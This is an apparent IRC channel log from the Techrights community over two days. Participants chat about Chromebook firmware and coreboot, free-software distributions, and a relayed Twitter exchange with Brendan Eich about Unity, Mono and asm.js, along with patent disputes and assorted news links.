msb_XRevan86: Thanks for the references!Mar 11 07:58
cubexyzthere's also LILO to considerMar 11 08:00
cubexyzalthough I assume they'll update that as wellMar 11 08:00
XRevan86God does not exist because SecureBoot and god can't exist in the same world %).Mar 11 08:01
schestowitzhttps://twitter.com/1MalachiD/status/575627332993425408Mar 11 08:01
-TechrightsBot-tr/#techrights-@1MalachiD: @schestowitz That may have been justified then. Certainly not convinced of it now.Mar 11 08:01
XRevan86schestowitz: What movie are you telling about?Mar 11 08:03
XRevan86https://en.wikipedia.org/wiki/The_Equalizer_%28film%29 Found itMar 11 08:04
-TechrightsBot-tr/#techrights-en.wikipedia.org | The Equalizer (film) - Wikipedia, the free encyclopedia [ http://ur1.ca/jw10p ]Mar 11 08:04
XRevan86> Russian mafiaMar 11 08:04
XRevan86oh myMar 11 08:04
cubexyzfirst generation chromebooks used H2C which is UEFI basedMar 11 08:12
cubexyz2nd generation chromebooks use corebootMar 11 08:13
XRevan86cubexyz: Modified InsydeH2O?Mar 11 08:13
cubexyzyeah I think that's been doneMar 11 08:14
cubexyzbut I have the coreboot folks to help me if I try anythingMar 11 08:15
XRevan86https://wiki.archlinux.org/index.php/Chromebook#Hardware_ComparisonsMar 11 08:15
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XRevan86> Custom firmware not available yetMar 11 08:16
cubexyzdo you use coreboot XRevan86?Mar 11 08:16
XRevan86darn it, I knew it's all device specific!Mar 11 08:16
XRevan86cubexyz: No, InsydeH2OMar 11 08:16
XRevan86Acer laptop, not a Chromebook.Mar 11 08:16
cubexyzoh I seeMar 11 08:16
cubexyzdo you get source code for that or...?Mar 11 08:16
XRevan86cubexyz: I don't really have an option.Mar 11 08:17
XRevan86either InsydeH2O, old Phoenix or tough experiments with porting coreboot to my laptop.Mar 11 08:18
cubexyzI think the chromeboxes are all similarMar 11 08:18
cubexyzASUS, HP, Acer and DellMar 11 08:19
XRevan86cubexyz: Didn't hear about them until today.Mar 11 08:20
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MinceRhttp://macleodsawyer.com/2015/03/06/nine-truths-computer-programmers-know-that-most-people-dont/Mar 11 09:00
-TechrightsBot-tr/#techrights-macleodsawyer.com | 9 truths that computer programmers know that most people don't. [ http://ur1.ca/jw1m0 ]Mar 11 09:00
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schestowitzMinceR: do you happen to have logs of the channels for times my connection was down? I think mostly over the weekendMar 11 09:05
XRevan86http://cdn.img42.com/6704a24d3988a047c3bf9868d40cf7a3.pngMar 11 09:08
XRevan86systemd-nspawn is a funny thing.Mar 11 09:08
MinceRschestowitz: i doMar 11 09:11
MinceRmy connection probably had some interruptions thoughMar 11 09:12
schestowitzexcellent, thanks :-)Mar 11 09:12
schestowitzhttps://twitter.com/alburr1to/status/574789993790619649  https://twitter.com/arebee/status/574785616543547394Mar 11 09:13
schestowitzGiven the whitewashing of Microsoft, Gates, and even trolls like Myhrvold, I think it's pretty evidenceMar 11 09:14
schestowitz*evidentMar 11 09:14
-TechrightsBot-tr/#techrights-@alburr1to: Here is how #Microsoft longtime mouthpiece Todd Bishop framed extortion against #linux http://t.co/aM9HGMM6mR (@schestowitz)Mar 11 09:15
-TechrightsBot-tr/#techrights--> www.geekwire.com | Microsoft sues Kyocera in new Android patent infringement dispute - GeekWireMar 11 09:15
-TechrightsBot-tr/#techrights-@arebee: @schestowitz wow, calling @toddbishop a Microsoft mouthpiece is a) a crappy ad hominem b) wrong. @jhambyMar 11 09:15
schestowitzhttps://twitter.com/jhamby/status/574782605318602752  https://twitter.com/jhamby/status/574782153382232064   https://twitter.com/jhamby/status/574781649340252160Mar 11 09:15
-TechrightsBot-tr/#techrights-@jhamby: There aren't any good workarounds for that patent that wouldn't break all third-party SMS using #Android apps. 😞 @schestowitz @toddbishopMar 11 09:15
-TechrightsBot-tr/#techrights-@jhamby: .@schestowitz @toddbishop I know $MSFT sued Motorola in Germany over their concatenated SMS API patent. US version: https://t.co/ziDOmGaKk8Mar 11 09:15
-TechrightsBot-tr/#techrights-@jhamby: .@schestowitz @toddbishop on the $MSFT patents: I think they're bullshit (should never have been granted) but also Android likely infringes.Mar 11 09:15
schestowitzhttps://twitter.com/FOSSpatents/status/574763389467103232Mar 11 09:16
-TechrightsBot-tr/#techrights-@FOSSpatents: @schestowitz A Dutch MEP links to TechRights in official question(s) to EU Commission: http://t.co/ATN5G9IN2m via http://t.co/714iDppyUPMar 11 09:16
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schestowitzhttps://twitter.com/BrendanEich/status/573337993664192512   https://twitter.com/BrendanEich/status/573400778309832704  https://twitter.com/BrendanEich/status/573406275029082112   https://twitter.com/BrendanEich/status/573406341643042816   https://twitter.com/BrendanEich/status/573408158565187584Mar 11 09:32
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz Confusion! There is no native-code Mono in Firefox integration. Just downloading the Unity 5 engine compiled to JS (asm.js).Mar 11 09:32
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz no, the WebGL/asm.js download is web content, http-cached. Zero install, no native code, no more encumbering than, e.g., gmail.Mar 11 09:32
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz There is no Mono on client or server. Unity 5 compiles out all .NET code at tool time: C# => C++ => asm.js. Pure web content.Mar 11 09:32
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz Please adjust your hair-trigger re: Unity and Mono accordingly ;-).Mar 11 09:32
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz The "WebGL" target is downloaded web content: HTML, JS (asm.js), images, CSS. Won't find Mono runtime there. All C# boils away.Mar 11 09:32
MinceRso, mono/c# code compiled to asm.js? :>Mar 11 09:33
schestowitzhttps://twitter.com/BrendanEich/status/573409249751121921   https://twitter.com/BrendanEich/status/573412067232907264   https://twitter.com/BrendanEich/status/573412628040704001   https://twitter.com/BrendanEich/status/573414112581054464   https://twitter.com/BrendanEich/status/573414243976011776  Mar 11 09:33
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz Firefox is just a browser, parses and runs/renders JS/WebGL/HTML/&c. There is no CLR in it, contrary to what you seemed to say.Mar 11 09:33
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz You wrote "#mozilla helps spread #microsoft #mono". I say that's false, full stop. Unity's spread does not depend on Mozilla.Mar 11 09:33
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz Unity == successful game engine, Mono or no. All browsers optimizing asm.js now, so no truth to "#mozilla helps spread <evil>".Mar 11 09:33
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz where <evil> clearly was "Mono installed on your PC"; pls. don't move goalpost to non-threat of Mono used more by Unity tools.Mar 11 09:33
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz Patent-encumbered tools used all the time to create web content (also to make RMS's laptop :-|).Mar 11 09:33
schestowitzhttps://twitter.com/BrendanEich/status/573417863190618112  https://twitter.com/BrendanEich/status/573422838872449024   https://twitter.com/BrendanEich/status/573427011689025537Mar 11 09:34
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz I would not attribute Unity dominance to 2015 WebGL target support. I also question Mono bad effects, even if indirect boost.Mar 11 09:34
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz I'm aware; still no boost via asm.js/WebGL. Personally I choose battles that matter more by all measures, e.g., DRM.Mar 11 09:34
-TechrightsBot-tr/#techrights-@BrendanEich: @schestowitz Thank you; didn't work out there but I am still advising OTOY. Long game.Mar 11 09:34
MinceRi'm sure compiling to asm.js makes patent violations go awayMar 11 09:35
schestowitzyeah, my thoughts too...Mar 11 09:38
schestowitznon-argumentMar 11 09:38
schestowitzhttps://twitter.com/jblck/status/572881796137816066Mar 11 09:38
schestowitzhttps://twitter.com/ABridgwater/status/572720448296902656Mar 11 09:38
schestowitzhttps://twitter.com/fth_nix/status/572524571615748097  https://twitter.com/Messgorough/status/572523337206906880  https://twitter.com/SleepyPenguin1/status/572523194856448001Mar 11 09:39
MinceRlooks like mozilla is going out of touchMar 11 09:40
schestowitzhttps://twitter.com/fth_nix/status/572521682264592384 https://twitter.com/SleepyPenguin1/status/572519813257560064 https://twitter.com/fth_nix/status/572518046205673475Mar 11 09:40
schestowitzhttps://twitter.com/SleepyPenguin1/status/572517248822353920  https://twitter.com/fth_nix/status/572516644976795648 https://twitter.com/SleepyPenguin1/status/572516151252660224   https://twitter.com/SleepyPenguin1/status/572515825451728896Mar 11 09:41
schestowitzhttps://twitter.com/fth_nix/status/572515731012771840  https://twitter.com/fth_nix/status/572515555112050688    https://twitter.com/SleepyPenguin1/status/572514811369676801    https://twitter.com/fth_nix/status/572514431659327488Mar 11 09:42
-TechrightsBot-tr/#techrights-@jblck: @schestowitz This is a very old #Ubuntu feature. Some thoughts on the issue from back in 2012 here https://t.co/WXhqFkfdODMar 11 09:43
-TechrightsBot-tr/#techrights--> jsphblck.wordpress.com | Ubuntu 12.04 Precise Pangolin – Hello Unity | Quotidian mundanity. Verbalised.Mar 11 09:43
-TechrightsBot-tr/#techrights-@ABridgwater: @schestowitz I'm really not sure why I wasn't following you back - many apologiesMar 11 09:43
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @ruskin147 @schestowitz What's life without adventure ;D The code's there to pick up any time! The gnu's time will come!Mar 11 09:43
-TechrightsBot-tr/#techrights-@Messgorough: @schestowitz Also both liars with products overcharged, overhyped and full of poisonous rubbish.Mar 11 09:43
-TechrightsBot-tr/#techrights-@SleepyPenguin1: @fth_nix @schestowitz @ruskin147 I might be travelling later this year. That's when it usually happens. Go walkabout in the skies around us.Mar 11 09:43
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @schestowitz @ruskin147 It is a bit of thing getting time to do any of these things. Research project computer studies maybeMar 11 09:43
-TechrightsBot-tr/#techrights-@SleepyPenguin1: @fth_nix @schestowitz @ruskin147 I'm used to steep learning curves. But I think I'm short on time.Mar 11 09:43
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @schestowitz @ruskin147 Aww I'm gonna have to learn this stuff!!!Mar 11 09:43
-TechrightsBot-tr/#techrights-@SleepyPenguin1: @fth_nix @schestowitz @ruskin147 It is.I remember a few times over thirty years when some of us finally worked it out and made a difference.Mar 11 09:43
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @schestowitz @ruskin147 Great when you get over a bump tho innit? <hyperthread> https://t.co/j1AvoOa8qFMar 11 09:43
-TechrightsBot-tr/#techrights--> www.gnu.org | multithreadingMar 11 09:43
-TechrightsBot-tr/#techrights-@SleepyPenguin1: @fth_nix @schestowitz @ruskin147 Not sure. Might have been. But with the advent of ARM processors and Raspberry Pi things change.Mar 11 09:43
-TechrightsBot-tr/#techrights-@SleepyPenguin1: @fth_nix @schestowitz @ruskin147 I was working on it. But. Some developers put me off. Could try again but it's a long uphill slog...Mar 11 09:43
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @schestowitz @ruskin147 wasn't it capable of multithread pre dual core???Mar 11 09:43
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @schestowitz @ruskin147 If I could just work out how to code some kernel...Mar 11 09:43
-TechrightsBot-tr/#techrights-@SleepyPenguin1: @fth_nix @schestowitz @ruskin147 True enough.. but.. lot of cynical mailing list traffic. Over many years. We can only hope...Mar 11 09:43
-TechrightsBot-tr/#techrights-@fth_nix: @SleepyPenguin1 @schestowitz @ruskin147 RMS may yet see a migration to HURD ; D Another successful #open kernel would be great.Mar 11 09:43
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MinceRhttp://blog.dilbert.com/post/113340087216/is-it-healthier-to-be-republican#_=_Mar 11 12:02
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schestowitz__https://joindiaspora.com/posts/5704769Mar 11 14:53
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Authority without challenge is tyranny https://pod.readme.is/uploads/images/scaled_full_e67e39fac48459427c18.jpgMar 11 14:53
schestowitz__"Most citizens prefer to only vote once every few years and blame the government of everything."Mar 11 14:54
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-TechrightsBot-tr/#techrights-linuxgizmos.com | Sitara AM437x dev kit targets Linux-based industrial apps ·  LinuxGizmos.comMar 11 15:21
TweetTuxMachines........................................  http://ur1.ca/jw4okMar 11 15:21
TweetTuxMachines@tuxmachines     The Entroware 'Proteus' Gaming Laptop, ReviewedMar 11 15:21
TweetTuxMachines                 For Linux https://t.co/NU7jFKKSzdMar 11 15:21
TweetTuxMachines                 (www.gamingonlinux.com)Mar 11 15:21
TweetTuxMachines........................................  http://ur1.ca/jw4onMar 11 15:21
-TechrightsBot-tr/#techrights-www.gamingonlinux.com | The Entroware 'Proteus' Gaming Laptop, Reviewed For Linux | GamingOnLinuxMar 11 15:21
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BatmiteHi Roy,Mar 11 15:43
BatmiteHi Roy, we are missing your  comments in relation to the EPO issues. When will you  be back?Mar 11 15:45
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schestowitz> Would ssh-guard or fail2ban work for WordPress?Mar 11 16:50
schestowitz> Mar 11 16:50
schestowitz> I would consider the two Apache modules I mentioned before.  The oneMar 11 16:50
schestowitz> would help reduce the load on the backend db.Mar 11 16:50
schestowitzI have not enabled fail2ban for about a month because the DDOS subsided and fail2ban bans some legit visitors.Mar 11 16:50
schestowitz Mar 11 16:50
schestowitz> I hope the trip went well.Mar 11 16:50
schestowitzYes, half the photos are now in http://schestowitz.com/royrianne/gallery/index.php/Mar 11 16:50
-TechrightsBot-tr/#techrights-schestowitz.com | Roy and Rianne's Wedding and Beyond [ http://ur1.ca/e25rf ]Mar 11 16:50
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schestowitzhttps://twitter.com/gnutelephony/status/575777389881380866Mar 11 19:28
-TechrightsBot-tr/#techrights-@gnutelephony: @symantec @jmcest @schestowitz this was likely not "accidental"...Mar 11 19:28
schestowitzhttps://joindiaspora.com/p/5727299Mar 11 22:10
-TechrightsBot-tr/#techrights-joindiaspora.com | #Wireshark , Worl...Mar 11 22:11
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schestowitzhttps://twitter.com/anne_elliot2/status/575842095379841024Mar 11 22:46
-TechrightsBot-tr/#techrights-@anne_elliot2: @jmcest @schestowitz meaninglessness of mathematics https://t.co/vC8LROw2pK Godels theorems end in meaninglessness http://t.co/6sWlPnI4d6Mar 11 22:46
-TechrightsBot-tr/#techrights--> www.scribd.com | Mathematics Ends in Meaninglessness ie self-contradictionMar 11 22:46
cubexyzuh :)Mar 11 23:20
cubexyzok, you might have heard of Ludwig Plutonium?Mar 11 23:21
cubexyzColin Leslie Dean is in the same categoryMar 11 23:21
cubexyzhttp://pricegems.com/blog/pricegems/Dean_v._Godel.htmlMar 11 23:25
-TechrightsBot-tr/#techrights-pricegems.com | Rebuttal of Colin Leslie Dean’s Article Entitled: “Case Study in the Meaninglessness of All Views” by Aaron Hastings [ http://ur1.ca/jw756 ]Mar 11 23:25
cubexyzok, short form: Godel realized that truth in number theory cannot be defined in number theory"Mar 11 23:29
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cubexyzthese smart watches, I don't know...Mar 11 23:48
cubexyz7 day battery life doesn't seem too greatMar 11 23:49
cubexyzmy radio shack stopwatch usually gets 4+ years from one batteryMar 11 23:49
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__martin__http://www.itworld.com/article/2894936/googles-angular-2-being-built-with-microsofts-typescript.htmlMar 12 08:25
-TechrightsBot-tr/#techrights-www.itworld.com | Google's Angular 2 being built with Microsoft's TypeScript | ITworldMar 12 08:25
__martin__https://www.edx.org/press/edx-collaborates-microsoft-launch-itMar 12 08:30
-TechrightsBot-tr/#techrights-www.edx.org | EdX collaborates with Microsoft to Launch IT Development Courses | edX [ http://ur1.ca/jw98x ]Mar 12 08:30
__martin__http://hardware.slashdot.org/story/15/03/11/1648243/why-we-need-free-digital-hardware-designs vs. http://hardware.slashdot.org/story/15/03/11/0232213/open-source-hardware-approaching-critical-massMar 12 08:30
-TechrightsBot-tr/#techrights-hardware.slashdot.org | Why We Need Free Digital Hardware Designs - Slashdot [ http://ur1.ca/jw991 ]Mar 12 08:30
-TechrightsBot-tr/#techrights-hardware.slashdot.org | Open Source Hardware Approaching Critical Mass - Slashdot [ http://ur1.ca/jw992 ]Mar 12 08:30
__martin__terminology hellMar 12 08:30
__martin__where in heads of gov't representatives come all those ideas to censor the net? is it all about power control and money or there is some higher secretive sense involved? have aliens finally landed? xDMar 12 08:32
__martin__bitcoin = tax evasion -> must be banned altogether without burreau permission = californiaMar 12 08:33
__martin__also "rowhammer" bug marketing, just wtf (=Mar 12 08:35
__martin__but stupid heads will never comprehend why stallman used so long a loongson chip while there wasn't a x86 laptop with ME/AMT disabled properlyMar 12 08:36
__martin__still, funny how AMD cpus are less prone to DDR3 attackMar 12 08:37
__martin__m$ evangelists say: http://arstechnica.com/security/2015/03/guardian-backtracks-says-whisper-doesnt-spy-on-its-users-after-all/Mar 12 08:39
-TechrightsBot-tr/#techrights-arstechnica.com | Guardian backtracks, says Whisper doesn’t spy on its users after all | Ars Technica [ http://ur1.ca/jw9a7 ]Mar 12 08:39
cubexyzlook for the vPro logo, NOT :)Mar 12 08:42
__martin__http://blogs.technet.com/b/server-cloud/archive/2015/03/10/microsoft-extends-commitment-to-open-compute-project.aspxMar 12 08:43
-TechrightsBot-tr/#techrights-blogs.technet.com | Microsoft Extends Commitment to Open Compute Project - Microsoft Server and Cloud Platform Blog - Site Home - TechNet Blogs [ http://ur1.ca/jw9az ]Mar 12 08:43
__martin__word "open" is just raped enough Mar 12 08:43
__martin__3f:02.3 Host bridge: Intel Corporation 1st Generation Core Processor Reserved (rev 02)Mar 12 08:45
__martin__cubexyz: (=Mar 12 08:45
__martin__todayMar 12 08:45
__martin__argued with PhD assistant in classMar 12 08:45
__martin__dafuq he uploaded presentation in *.pps Mar 12 08:46
__martin__cos libreoffice on trisquel won't even read, bitches about passwordMar 12 08:46
__martin__so he started pdf apologism due to effects inside et al xDDDMar 12 08:46
__martin__(I mean he is PhD am not even a Bachelor, perhaps never will be)Mar 12 08:47
cubexyzI actually prefer tarball's of jpg/png to PDFMar 12 08:48
cubexyzany conversion may reduce qualityMar 12 08:48
__martin__people here dunno PNG formatMar 12 08:48
__martin__;DMar 12 08:48
cubexyzand pps isn't on the radar :)Mar 12 08:48
__martin__btw btwMar 12 08:49
__martin__on a first super boring class todayMar 12 08:49
__martin__an old dell-backdoored desktop of professor with XP on itMar 12 08:49
__martin__patched itself and rebooted Mar 12 08:50
__martin__best moment of a classMar 12 08:50
__martin__xDMar 12 08:50
__martin__and on a last third lectureMar 12 08:50
__martin__another XP box hidden in a large desk tried to resolve this IP lan conflict for the whole duration and NOD32 (product of my country) popped red tooltips cos' of skipping heuristics updateMar 12 08:52
cubexyzI would assume any good tech school would have someone knowledgeable enough to run FOSS firmware and FOSS operating systemMar 12 08:53
cubexyzafter all that's where a lot of OSes came fromMar 12 08:54
__martin__yeah the most prominent I mean visible admin shows up everywhere with his iGrownMar 12 08:54
__martin__floss not welcome in hereMar 12 08:54
cubexyzwhere is here?Mar 12 08:55
__martin__even virtual printer defaults to crippled xps instead of pdfMar 12 08:55
__martin__http://tuzvo.sk/Mar 12 08:55
-TechrightsBot-tr/#techrights-Couldn't resolve host 'tuzvo.sk' ( status 0 @ http://tuzvo.sk/ )Mar 12 08:55
__martin__add www.Mar 12 08:55
__martin__xDMar 12 08:55
__martin__been before at http://fei.tuke.sk/ there we got at least a decent moodle set-up and professors advising fedora usageMar 12 08:56
-TechrightsBot-tr/#techrights-fei.tuke.sk | FEI FakultaMar 12 08:56
__martin__time to save up money for parents and quit on the meaningless studiesMar 12 08:56
cubexyzformer yugoslavia, interestingMar 12 08:56
XRevan86https://youtube.com/watch?v=EcH4aHOjnGoMar 12 08:57
-TechrightsBot-tr/#techrights-www.youtube.com | Magnifico - Land of Champions - Director's cut - YouTubeMar 12 08:57
cubexyzI used to really like fedoraMar 12 08:58
XRevan86cubexyz: Since you've mentioned Yugoslavia.Mar 12 08:58
__martin__well today am gonna replace f21 amd desktop at parents' with f22 alphaMar 12 09:00
__martin__also want to try that wine staging with that d3d state trackerMar 12 09:01
__martin__you guys open up your wifi for neighbours?Mar 12 09:02
cubexyza Solevenian arrangement of House of the Rising Sun? :)Mar 12 09:05
__martin__Greek unemployment rate increased to 26.1% && basic income nowhere to realityMar 12 09:05
cubexyzSlovenianMar 12 09:05
__martin__slovenia's TLD is .slMar 12 09:05
cubexyzXRevan86, neat videoMar 12 09:06
XRevan86cubexyz: YeahMar 12 09:06
cubexyzright, I should have said former Czechoslovakia, my mistakeMar 12 09:07
__martin__np, artifical borders do not matterMar 12 09:08
cubexyzI've forgotten a lot :)Mar 12 09:08
__martin__(=Mar 12 09:08
__martin__cial*Mar 12 09:08
__martin__schestowitz__: how much does a beer cost in Singapore?Mar 12 09:09
__martin__(asking because czechs consider it both a drink and a meal xDD)Mar 12 09:09
cubexyzI'm from Canada, we have OpenBSD and Vector Linux :)Mar 12 09:11
cubexyznot sure what XRevan86 usesMar 12 09:11
XRevan86cubexyz: openSUSE :)Mar 12 09:11
cubexyzsomething x86 I'm sureMar 12 09:11
XRevan86Packard Bell (Acer) TE11HCMar 12 09:11
XRevan86* EasyNote TE11HCMar 12 09:12
cubexyzthe weird thing was, I just picked OpenBSD and Vector Linux by chanceMar 12 09:12
cubexyzdidn't even realize they were Canadian distrosMar 12 09:12
XRevan86I know only one good Russian distro: CalculateMar 12 09:12
XRevan86http://calculate-linux.org/Mar 12 09:13
-TechrightsBot-tr/#techrights-www.calculate-linux.org | Calculate LinuxMar 12 09:13
__martin__XRevan86: cubexyz: https://www.youtube.com/watch?v=DCbiJVGPob8Mar 12 09:13
-TechrightsBot-tr/#techrights-www.youtube.com | Miloš Zeman - Kunda sem, kunda tam, remix - YouTube [ http://ur1.ca/jw9er ]Mar 12 09:13
cubexyzunfortunately my country is blocked from that videoMar 12 09:14
XRevan86__martin__: Can't watch anything now, I'll reply when it'll be most inconvinient for you :DMar 12 09:14
__martin__perhaps that is fortunate (=Mar 12 09:14
XRevan86Isn't blocked in "my" country (British IP, VPN)Mar 12 09:15
__martin__oh ye, region locks, because humans are three/four/five different species =DMar 12 09:16
cubexyza pity, I found out I have to take Chromebox apart to set developer modeMar 12 09:18
XRevan86cubexyz: Now all your data from /home is wiped out?Mar 12 09:19
cubexyzXRevan86, lol no, I haven't even bought it yet Mar 12 09:19
__martin__xDMar 12 09:19
cubexyzjust doing research Mar 12 09:19
XRevan86cubexyz: Ah :)Mar 12 09:19
cubexyzASUS/HP/Dell versions are a bit easier to work on thoughMar 12 09:20
cubexyzAcer is a bit harderMar 12 09:20
__martin__I wish for Pixel like sub-notebook 13" with libreboot, Debian/Devuan, tor daemon from start and pricetag 333€ (=Mar 12 09:21
__martin__all the HW in use is +-2010 atmMar 12 09:21
cubexyzha, you should see my computer roomMar 12 09:22
cubexyztons of old stuffMar 12 09:22
__martin__nvidia riva tnt2 - being the oldest horsepower chip in family cellars xDMar 12 09:24
__martin__i remember my old-selfMar 12 09:24
__martin__wanting so much to try some voodoo/3dfx gpu =DMar 12 09:24
cubexyzI think I have one :)Mar 12 09:24
__martin__also want to askMar 12 09:25
__martin__when i use this firefox os zte device without simMar 12 09:25
__martin__how often does it pings closest base station, just at cold starts and shutdowns or?Mar 12 09:26
__martin__(since there is this "emergency feature")Mar 12 09:26
__martin__ping*Mar 12 09:27
__martin__[putting aside that i use eduroam credentials with my surname involved]Mar 12 09:28
cubexyzI only use land lineMar 12 09:29
cubexyzif someone wants to reach me use email :)Mar 12 09:29
__martin__only my closest friends of ol' are keen on mails =DMar 12 09:30
XRevan86If someone wants to reach me use XMPP :).Mar 12 09:30
__martin__well, sadly fb/goog silos don't federate xDMar 12 09:31
__martin__instead of writing me through pidgin with otr enabled, ex-girlfriend visited me by footMar 12 09:31
__martin__women logicMar 12 09:31
__martin__pgp/gpg is out of topicMar 12 09:33
__martin__could have brought to use it just a best friend who is certified cisco manwhoreMar 12 09:33
__martin__XRevan86: ofc i think the future should be self-hosted, but i suppose you use some jabber providerMar 12 09:34
cubexyzwhat is Caculate Linux Scratch? just tty stuff?Mar 12 09:34
cubexyzcalculateMar 12 09:35
XRevan86__martin__: No, I self-host it.Mar 12 09:35
XRevan86cubexyz: YeahMar 12 09:36
__martin__had account via jabbim.cz/sk/pl thou whole passwd dump in plaintext got leakedMar 12 09:36
XRevan86I usually advise jabber.zone provider.Mar 12 09:37
__martin__so i stick with xmpp.jp riseup.net (eyed dukgo.com once)Mar 12 09:37
cubexyzeasier to just download from yandex Mar 12 09:39
cubexyztorrent seems deadMar 12 09:40
XRevan86Yandex provides a good mirror for almost every distro.Mar 12 09:40
__martin__yup, even for parabol gnuMar 12 09:41
__martin__parabola*Mar 12 09:41
__martin__https://soylentnews.org/article.pl?sid=15/03/10/1327254Mar 12 09:43
-TechrightsBot-tr/#techrights-soylentnews.org | Millions of Modern Men Found to be Descendants of 11 Asian Dynastic Leaders. - SoylentNews [ http://ur1.ca/jw9j7 ]Mar 12 09:43
__martin__see you folks later, thanks for smalltalkMar 12 09:43
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cubexyzI'd love there to be an archive with all the distrosMar 12 09:46
msb_I just want one good distro without systemd, with KDE3/Trinity, with good support.Mar 12 10:01
cubexyzthere's Trinity for Debian WheezyMar 12 10:05
cubexyzthere's even a slackware trinity repositoryMar 12 10:06
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MinceRschestowitz__: sure, i'll get around to it eventuallyMar 12 10:55
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MinceRgeekingsMar 12 11:51
XRevan86MinceR: hiMar 12 11:52
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schestowitz__MinceR: no rush, cheers mate!Mar 12 13:02
MinceR:)Mar 12 13:02
MinceRhttp://www.szeretlekmagyarorszag.hu/wp-content/uploads/2014/04/truth-facts-funny-graphs-wumo-1.jpgMar 12 13:25
schestowitz__[13:10] <__martin__> schestowitz__: how much does a beer cost in Singapore?Mar 12 14:17
schestowitz__not too badMar 12 14:17
schestowitz__except for their own national drinkMar 12 14:17
schestowitz__but much cheaper in UKMar 12 14:18
schestowitz__(I know he's away)Mar 12 14:18
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XRevan86__martin__: Modern Talking!Mar 12 15:32
XRevan86__martin__: I freaking love MTMar 12 15:32
XRevan86__martin__: it's a pity you're not online and will never see all I wroteMar 12 15:33
XRevan86cubexyz: Video __martin__ posted to me and you which is not available in your country.Mar 12 15:34
MinceRMediaHint may helpMar 12 15:34
MinceRor youtube-dlMar 12 15:34
XRevan86an odd talking disposed over this music: https://youtube.com/watch?v=4kHl4FoK1YsMar 12 15:34
-TechrightsBot-tr/#techrights-www.youtube.com | Modern Talking - You're My Heart, You're My Soul - YouTubeMar 12 15:35
XRevan86> (16:13:19) __martin__: XRevan86: cubexyz: https://youtube.com/watch?v=DCbiJVGPob8Mar 12 15:35
-TechrightsBot-tr/#techrights-www.youtube.com | Miloš Zeman - Kunda sem, kunda tam, remix - YouTubeMar 12 15:35
XRevan86MinceR: or even SaveFrom.netMar 12 15:36
DaemonFCRyan FarmerMar 12 15:42
DaemonFCJust now · Mar 12 15:42
DaemonFCI ran into an article showing how people who made the mistake of buying an iPhone can use a smartwatch today by buying Android Wear and shimming support for it over Bluetooth while waiting forever for Apple to release a more expensive watch that does less and has half the battery life, while alerting thieves that there might be $1,000 worth of Apple products and large sums of cash and high limit credit cards on the person. smile emoticonMar 12 15:42
DaemonFC(And presumably, other problems. Maybe even a non-recall recall, where Apple blames you for pissing on their shining jewel of perfection, and then offers to replace it anyway. *grin*.)Mar 12 15:42
MinceRor they could save money by buying a real smartphone :>Mar 12 15:43
MinceRhttps://www.youtube.com/watch?v=KHZ8ek-6cccMar 12 15:43
-TechrightsBot-tr/#techrights-www.youtube.com | Apple Engineer Talks about the New 2015 Macbook - YouTube [ http://ur1.ca/jwbv0 ]Mar 12 15:43
DaemonFChttps://fbcdn-sphotos-c-a.akamaihd.net/hphotos-ak-xpa1/v/t1.0-9/10993409_1068415259851787_1061655701441079925_n.jpg?oh=9f0500c76a8af9ecbe8ba8b1a8fdd53d&oe=55720B69&__gda__=1434601987_3f04df957bb036d167b2e234ee7409b2Mar 12 16:21
DaemonFChttp://www.alternet.org/personal-health/new-study-homeopathy-not-effective-treating-any-conditionMar 12 16:22
-TechrightsBot-tr/#techrights-www.alternet.org | New Study: Homeopathy Not Effective for Treating Any Condition | Alternet [ http://ur1.ca/jwc7r ]Mar 12 16:22
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schestowitz>>> >> http://arstechnica.com/information-technology/2015/03/the-ambassador-who-worked-from-nairobi-bathroom-to-avoid-state-dept-it/Mar 12 16:36
-TechrightsBot-tr/#techrights-arstechnica.com | The Ambassador who worked from a Nairobi bathroom to avoid State Dept. IT | Ars Technica [ http://ur1.ca/jw8xp ]Mar 12 16:36
schestowitz>>> >> Mar 12 16:36
schestowitz>>> >> The role of M$ shit in all this needs to be raised, if there.Mar 12 16:36
schestowitz>> > Mar 12 16:36
schestowitz>> > Any proof/clues?Mar 12 16:36
schestowitz>> > Mar 12 16:36
schestowitz>> > Mar 12 16:36
schestowitz> Not really, but there are some clues:Mar 12 16:36
schestowitz> Mar 12 16:36
schestowitz> "... the intranet that provides the backbone for department-wide e-mailMar 12 16:36
schestowitz> and instant messaging, is dependent on aging Microsoft communicationsMar 12 16:36
schestowitz> infrastructure, including Microsoft Office Communicator for unifiedMar 12 16:36
schestowitz> voice and video communications. The State Department is in the middle ofMar 12 16:36
schestowitz> a roll-out of a new Office desktop environment (Office 2010), and that’sMar 12 16:36
schestowitz> broken unified communications for some users in the process—since LyncMar 12 16:36
schestowitz> clients"Mar 12 16:36
schestowitz> Mar 12 16:36
schestowitz> http://www.ukprogressive.co.uk/the-ambassador-who-worked-from-nairobi-bathroom-to-avoid-state-dept-it/article36846.htmlMar 12 16:36
-TechrightsBot-tr/#techrights-www.ukprogressive.co.uk | The Ambassador who worked from Nairobi bathroom to avoid State Dept. IT | UK ProgressiveMar 12 16:36
schestowitz> Mar 12 16:36
schestowitz> That shit just doesn't work which is probably why he used Gmail.Mar 12 16:36
schestowitz> However the M$ friendly press and State Dept would be the last ones onMar 12 16:36
schestowitz> Earth to point to disappointing functionality and reliability with M$ shit.Mar 12 16:36
schestowitzInteresting to know what he was avoiding. Gmail does not offer much more privacy than MS.Mar 12 16:36
schestowitz> And a clue from the above article:Mar 12 16:37
schestowitz> Mar 12 16:37
